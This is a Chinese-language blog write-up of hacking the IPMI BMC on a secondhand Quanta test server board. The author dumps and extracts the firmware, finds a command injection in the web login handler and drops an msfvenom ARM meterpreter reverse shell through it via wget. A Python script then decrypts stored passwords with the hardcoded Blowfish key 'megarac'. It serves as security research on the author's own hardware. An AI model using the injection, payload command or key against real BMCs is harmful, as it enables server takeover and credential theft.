一次对服务器主板IPMI BMC的漏洞挖掘

0x0 背景

前几天在某鱼捡了个便宜主板

查了下应该是广达的工包测试板,全新,完全没资料网上查不到

服务器主板一般会有一个管理芯片独立于整个主板,管理主板电源,温度,开关机,视频重定向。。。。然而ipmitool能连上获取信息,却没有web,ssh也是连上就断

于是找了一波文档,发现有个相似的型号的

通过ipmi raw command开启BMC Web

看起来成功了。。。扫一下端口发现开了443

于是打开浏览器去连接。。。发现连不上

这。。。报了个奇怪的错误

注意到lighttpd,这种嵌入式设备服务端api都是用C写的。。。lighttpd会把请求交给一个二进制库处理。。应该是跑炸了,在html前面生成了一个Parameter Error!

然后发现ssh也是连不上的,连上之后立马connection close

0x1 分析固件

查了一波资料,发现BMC芯片AST2400是个arm soc。。。板子上有自己独立的内存,SPI Flash。

艹,这不就是个大号路由器

但是对着板子看了一圈也没看见串口在哪里,一般路由器的套路是能插串口改bootargs进系统,dump整个固件 or 传个gdb server进去

于是搜了一波资料发现有个socflash的工具可以读取固件

socflash_64.exe -b dump.bin

即可dump下来BMC的整个SPI Flash存储器

binwalk走一波

标准的linux嵌入式设备。。u-boot, kernel rootfs一个都不缺

binwalk -e提取即可

注意到第一个cramfs是个完整的linux文件系统,jffs2是一些配置文件,第二个cramfs是个web静态文件打包

0x2 发现web登录问题

既然提取了固件,直接暴力grep即可

再看下lighttpd配置文件,指向的正好是libmodhapi.so

那么api handler就在那个so中,拖进ida打开,找字符串

发现了这里有这个Parameter Error!

看下invalidUser交叉引用,找到了登录认证的部分

卧槽这也太蛇皮了。。。直接拼进system然后拿返回值,裸的命令注入

正好没shell没法调试,从这拿个shell再说

burp测一下

这边直接收到返回了

好,接下来需要弹一个shell

0x3 弹shell

把reverse shell cheat sheet测了一个遍。。都没法弹。

突然意识到。。。嵌入式设备用的busybox,没bash没nc啥都没有

那就只能传个二进制程序进去跑了

看了下kernel应该是arm小端序

用msf生成payload

msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=4445 -f elf > meterpreter.elf

wget下载,chmod +x,然后执行。注意+要url编码不然会被当成空格

即可弹回meterpreter

0x4 后续

有了shell啥都好办了,ssh登不上是有个配置文件写错了指向不存在的文件。。。出厂bug,果然是工厂流出的测试板

0x5 不安全的密码策略

众所周知嵌入式设备特别喜欢硬编码密钥然后给密码对称加密一下。CISCO type 7 password就是这么搞的

然后发现这个

于是看一下哪里处理的EncryptedPswd,找了一圈发现在libipmi_helper.so.2.4.0

继续暴力grep,核心逻辑在libipmiamioempwdenc.so.2.1.0这个库里面

lib ipmi ami oem pwd enc

名称看起来很合理

丢进ida看看

跟到了DecryptPassword函数

继续找找到了libblowfish.so

解密逻辑就这么一点了,找了一圈没发现iv在哪,应该是ecb模式了

密码是SetEncryptKey从/conf/pwdEncKey获取的

就是megarac,软件名

于是搓个脚本解密一下

import blowfish
import base64

data = [
    b"jT+Yah6ySlTO9NOzIXxkogAAAAAAAAAA",
    b"OY7fIRe9fsQkinACXfgmUQAAAAAAAAAA",
    b"zvTTsyF8ZKLO9NOzIXxkogAAAAAAAAAA",
    b"f23Dq/SFBErO9NOzIXxkogAAAAAAAAAA",
    b"masB7IKqyJ1+7HMeU4vo9wAAAAAAAAAA"
]

def decrypt(cipherText):
    cipher = blowfish.Cipher(b"megarac")
    decrypted = b"".join(cipher.decrypt_ecb(base64.b64decode(cipherText)))
    return decrypted

for i in data:
    print(decrypt(i))

成功解密

emmm我服了,,写个哈希那么难吗???